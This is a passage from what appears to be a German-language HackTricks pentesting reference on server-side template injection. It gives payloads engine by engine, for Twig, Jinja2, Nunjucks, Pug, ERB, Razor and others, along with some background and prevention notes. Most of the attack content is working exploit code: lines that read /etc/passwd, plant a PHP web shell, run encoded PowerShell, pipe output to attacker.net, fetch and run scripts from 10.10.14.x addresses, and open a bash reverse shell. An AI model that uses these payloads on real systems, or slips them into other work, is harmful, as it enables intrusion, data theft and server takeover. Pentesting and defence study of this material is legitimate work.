this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

[**RootedCON**](https://www.rootedcon.com/) ist die relevanteste Cybersicherheitsveranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.

{% embed url="https://www.rootedcon.com/" %}

##


### Smarty (PHP)
```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
**Weitere Informationen**

* Im Smarty-Abschnitt von [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)

### Twig (PHP)

* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
* `{{1/0}} = Fehler`
* `{{foobar}} Nichts`
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
```
**Twig - Vorlagenformat**

Twig ist ein leistungsfähiges und flexibles Vorlagenformat, das in vielen Webanwendungen verwendet wird. Es bietet eine einfache und sichere Möglichkeit, dynamische Inhalte in HTML-Dateien zu generieren. Twig verwendet eine Syntax ähnlich wie die von PHP, ist jedoch sicherer, da es bestimmte Funktionen und Methoden deaktiviert hat, die potenziell gefährlichen Code ausführen könnten.

Twig-Vorlagen bestehen aus HTML-Code, der mit speziellen Twig-Tags und -Ausdrücken ergänzt wird. Diese Tags und Ausdrücke ermöglichen es Entwicklern, Variablen einzufügen, Schleifen und Bedingungen zu verwenden und sogar benutzerdefinierte Funktionen zu definieren. Twig bietet auch eine Reihe von Filtern und Funktionen, mit denen Entwickler Daten formatieren und manipulieren können.

Die Verwendung von Twig in Webanwendungen bietet viele Vorteile, darunter eine verbesserte Sicherheit, eine bessere Trennung von Logik und Präsentation sowie eine einfachere Wartung und Erweiterbarkeit. Es ist jedoch wichtig zu beachten, dass unsichere Verwendung von Twig zu Server Side Template Injection (SSTI) führen kann, was zu schwerwiegenden Sicherheitsproblemen führen kann.
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
**Weitere Informationen**

* Im Abschnitt Twig und Twig (Sandboxed) von [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)

### Plates (PHP)

Plates ist ein Template-Engine, die nativ in PHP verwendet wird und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, verwendet Plates nativen PHP-Code in den Templates, was es für PHP-Entwickler intuitiv macht.

Controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
Seitenvorlage:
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
Layout-Vorlage:
```html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
```
**Weitere Informationen**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)

### PHPlib und HTML\_Template\_PHPLIB (PHP)

[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) ist dasselbe wie PHPlib, wurde jedoch auf Pear portiert.

`authors.tpl`
```html
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
```
# Server Side Template Injection (SSTI)

Server Side Template Injection (SSTI) ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, schädlichen Code in eine Servervorlage einzufügen und auszuführen. Dies kann zu verschiedenen Angriffen führen, wie z.B. der Offenlegung sensibler Informationen, der Ausführung von Remote-Code oder der Umgehung von Sicherheitsmechanismen.

## Identifizierung von SSTI

Die Identifizierung von SSTI kann schwierig sein, da sie von der verwendeten Vorlagensprache abhängt. Einige gängige Anzeichen für SSTI sind:

- Unbeabsichtigte Ausgabe von Vorlagenvariablen
- Verwendung von unsicheren oder nicht validierten Eingaben in Vorlagen
- Fehlermeldungen, die auf Vorlagenfehler hinweisen

## Ausnutzung von SSTI

Die Ausnutzung von SSTI erfordert ein gründliches Verständnis der verwendeten Vorlagensprache. Hier sind einige gängige Techniken, die verwendet werden können:

- Einfügen von Code in Vorlagenvariablen
- Ausnutzung von Vorlagenfiltern und -funktionen
- Umgehung von Sicherheitsmechanismen durch Ausnutzung von Vorlagenkontexten

## Prävention von SSTI

Um SSTI-Angriffe zu verhindern, sollten folgende Maßnahmen ergriffen werden:

- Validierung und Filterung von Benutzereingaben
- Verwendung sicherer Vorlagensprachen und -frameworks
- Aktualisierung von Vorlagenbibliotheken und -modulen auf die neueste Version
- Begrenzung der Berechtigungen von Vorlagenengines

## Fazit

Server Side Template Injection ist eine ernsthafte Sicherheitslücke, die es Angreifern ermöglicht, schädlichen Code in Vorlagen einzufügen und auszuführen. Es ist wichtig, Vorlagen sorgfältig zu überprüfen und Sicherheitsmaßnahmen zu implementieren, um SSTI-Angriffe zu verhindern.
```php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
**Weitere Informationen**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)

### Jade (NodeJS)
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```

```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
**Weitere Informationen**

* Im Jade-Abschnitt von [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)

### patTemplate (PHP)

> [patTemplate](https://github.com/wernerwa/pat-template) ist eine nicht kompilierende PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile aufzuteilen.
```xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
```
**Weitere Informationen**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)

### Handlebars (NodeJS)

Pfadtraversierung (weitere Informationen [hier](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
* \= Fehler
* ${7\*7} = ${7\*7}
* Nichts
```java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
```
**Weitere Informationen**

* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)

### JsRender (NodeJS)

| **Vorlage** | **Beschreibung**                         |
| ------------ | --------------------------------------- |
|              | Auswertung und Ausgabe rendern              |
|              | Auswertung und Ausgabe von HTML-kodierter Ausgabe |
|              | Kommentar                                 |
| und          | Erlauben von Code (standardmäßig deaktiviert)        |

* \= 49

**Clientseite**
```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**Serverseitig**
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
**Weitere Informationen**

* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)

### PugJs (NodeJS)

* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`

**Beispiel für serverseitiges Rendern**
```javascript
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
**Weitere Informationen**

* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)

### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>

* \{{7\*7\}} = 49
* \{{foo\}} = Keine Ausgabe
* \#{7\*7} = #{7\*7}
* \{{console.log(1)\}} = Fehler
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
```
**Weitere Informationen**

* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)

### ERB (Ruby)

* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Fehler`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
**Weitere Informationen**

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)

### Slim (Ruby)

* `{ 7 * 7 }`
```
{ %x|env| }
```
**Weitere Informationen**

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)

### Python

Schauen Sie sich die folgende Seite an, um Tricks zur **beliebigen Befehlsausführung zur Umgehung von Sandboxes** in Python zu lernen:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}

### Tornado (Python)

* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{foobar}} = Error`
* `{{7*'7'}} = 7777777`
```python
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}



{{os.system('whoami')}}
{{os.system('whoami')}}
```
**Weitere Informationen**
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)

### Jinja2 (Python)

[Offizielle Website](http://jinja.pocoo.org)

> Jinja2 ist eine voll ausgestattete Template-Engine für Python. Sie unterstützt Unicode vollständig, bietet eine optionale integrierte Sandbox-Umgebung, wird weit verbreitet verwendet und ist unter der BSD-Lizenz lizenziert.

* `{{7*7}} = Fehler`
* `${7*7} = ${7*7}`
* `{{foobar}} Nichts`
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
* `<div data-gb-custom-block data-tag="debug"></div>`
```python
{% raw %}
{% debug %}
{% endraw %}



{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
**Jinja2 - Vorlagenformat**

Jinja2 ist ein leistungsfähiges und flexibles Template-Engine-System, das in Python geschrieben ist. Es wird häufig in Webanwendungen verwendet, um dynamische Inhalte zu generieren. Jinja2 verwendet ein spezielles Vorlagenformat, das es Entwicklern ermöglicht, Variablen, Ausdrücke und Kontrollstrukturen in ihre Vorlagen einzufügen.

Das Vorlagenformat von Jinja2 besteht aus zwei Hauptkomponenten: Tags und Ausdrücken. Tags werden in geschweiften Klammern `{% %}` platziert und dienen dazu, Kontrollstrukturen wie Schleifen und Bedingungen zu definieren. Ausdrücke werden in doppelten geschweiften Klammern `{{ }}` platziert und ermöglichen das Einfügen von Variablen und Auswertungen.

Hier ist ein Beispiel für das Jinja2-Vorlagenformat:

```html
<!DOCTYPE html>
<html>
<head>
    <title>{{ title }}</title>
</head>
<body>
    <h1>{{ greeting }}</h1>
    {% if user %}
        <p>Welcome, {{ user }}!</p>
    {% else %}
        <p>Welcome, guest!</p>
    {% endif %}
</body>
</html>
```

In diesem Beispiel wird das `title`-Tag durch den Wert der Variablen `title` ersetzt. Das `greeting`-Tag wird ebenfalls durch den Wert der Variablen `greeting` ersetzt. Die `if`-Bedingung überprüft, ob die Variable `user` definiert ist, und zeigt entsprechend eine personalisierte Begrüßung an.

Das Jinja2-Vorlagenformat bietet eine leistungsstarke Möglichkeit, dynamische Inhalte in Webanwendungen zu generieren. Es ist jedoch wichtig, sicherzustellen, dass Benutzereingaben ordnungsgemäß validiert und bereinigt werden, um Server-seitige Vorlageninjektion (SSTI) zu verhindern.
```python
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


```
[**RCE nicht abhängig von**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
**Weitere Details zur Ausnutzung von Jinja**:

{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md](jinja2-ssti.md)
{% endcontent-ref %}

Andere Payloads unter [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)

### Mako (Python)
```python
<%
import os
x=os.popen('id').read()
%>
${x}
```
**Weitere Informationen**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)

### Razor (.Net)

* `@(2+2) <= Erfolg`
* `@() <= Erfolg`
* `@("{{code}}") <= Erfolg`
* `@ <= Erfolg`
* `@{} <= FEHLER!`
* `@{ <= FEHLER!`
* `@(1+2)`
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
*   `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABQAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`

Die .NET-Methode `System.Diagnostics.Process.Start` kann verwendet werden, um einen beliebigen Prozess auf dem Server zu starten und somit eine Webshell zu erstellen. Ein anfälliges Beispiel für eine Webanwendung finden Sie unter [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)

**Weitere Informationen**

* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)

### ASP

* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
* `<%= foo %>` = Nichts
* `<%= response.write(date()) %>` = \<Date>
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
**Weitere Informationen**

* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)

### Mojolicious (Perl)

Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby.

* `<%= 7*7 %> = 49`
* `<%= foobar %> = Fehler`
```
<%= perl code %>
<% perl code %>
```
### SSTI in GO

Im Go-Template-Engine kann die Verwendung von spezifischen Payloads überprüft werden:

* `{{ . }}`: Zeigt die Eingabe der Datenstruktur an. Wenn beispielsweise ein Objekt mit einem Attribut `Password` übergeben wird, könnte `{{ .Password }}` es offenlegen.
* `{{printf "%s" "ssti" }}`: Sollte den String "ssti" anzeigen.
* `{{html "ssti"}}`, `{{js "ssti"}}`: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzufügen. Weitere Anweisungen können in der Go-Dokumentation [hier](https://golang.org/pkg/text/template) erkundet werden.

**XSS-Ausnutzung**

Mit dem Paket `text/template` kann XSS einfach durch direktes Einfügen des Payloads erfolgen. Im Gegensatz dazu kodiert das Paket `html/template` die Antwort, um dies zu verhindern (z.B. `{{"<script>alert(1)</script>"}}` ergibt `&lt;script&gt;alert(1)&lt;/script&gt;`). Nichtsdestotrotz können die Template-Definition und -Aufruf in Go diese Kodierung umgehen:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}

vbnet
Copy code

**RCE-Ausnutzung**

Die RCE-Ausnutzung unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das Modul `text/template` erlaubt den direkten Aufruf beliebiger öffentlicher Funktionen (unter Verwendung des Werts "call"), was in `html/template` nicht erlaubt ist. Die Dokumentation für diese Module ist [hier für html/template](https://golang.org/pkg/html/template/) und [hier für text/template](https://golang.org/pkg/text/template/) verfügbar.

Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn das bereitgestellte Objekt beispielsweise eine Methode `System` hat, die Befehle ausführt, kann sie wie folgt ausgenutzt werden: `{{ .System "ls" }}`. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```
**Weitere Informationen**

* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)

### Weitere Exploits

Überprüfen Sie den Rest von [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) für weitere Exploits. Sie können auch interessante Tag-Informationen in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) finden.

## BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

## Verwandte Hilfe

Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:

* [Flask-Tricks](../../network-services-pentesting/pentesting-web/flask.md)
* [Python-Magiefunktionen](broken-reference/)

## Tools

* [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA)
* [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap)
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)

## Brute-Force-Erkennungsliste

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

## Übung & Referenzen

* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
* [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

​​​[**RootedCON**](https://www.rootedcon.com/) ist die relevanteste Cybersicherheitsveranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.

{% embed url="https://www.rootedcon.com/" %}

<details>

<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder folgen Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repos senden.

</details>